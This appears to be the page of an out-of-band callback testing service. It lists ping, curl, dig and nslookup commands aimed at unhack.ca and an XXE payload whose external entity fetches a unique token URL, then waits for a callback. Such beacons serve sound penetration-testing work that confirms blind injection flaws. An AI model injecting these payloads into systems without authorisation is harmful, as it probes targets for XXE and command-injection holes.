$ ping -c1 -p 00f75e326e7b5b7ceefb86bfb3e0e900 unhack.ca
 
$ curl http://unhack.ca/p/f75e326e7b5b7ceefb86bfb3e0e9
 
$ dig f75e326e7b5b7ceefb86bfb3e0e9 @unhack.ca
 
$ dig f75e326e7b5b7ceefb86bfb3e0e9.ns.unhack.ca
 
C:\> nslookup f75e326e7b5b7ceefb86bfb3e0e9 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f75e326e7b5b7ceefb86bfb3e0e9">]>
    <foo>&xxe;</foo>
Waiting for ping...